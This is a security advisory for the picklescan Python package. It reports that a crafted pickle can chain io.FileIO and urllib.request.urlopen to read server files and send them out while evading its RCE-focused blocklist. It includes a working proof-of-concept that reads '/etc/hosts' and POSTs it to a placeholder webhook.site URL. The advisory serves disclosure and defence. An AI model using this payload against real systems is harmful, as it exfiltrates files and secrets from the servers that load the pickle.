GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | picklescan | < 0.0.35 | 0.0.35 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
### Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
1. io.FileIO: Opens local files without using builtins.open.
2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
### PoC
```python
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
```
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />
### Impact
- Arbitrary file read
Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr
- https://nvd.nist.gov/vuln/detail/CVE-2026-53872
- https://github.com/mmaitre314/picklescan/pull/55
- https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization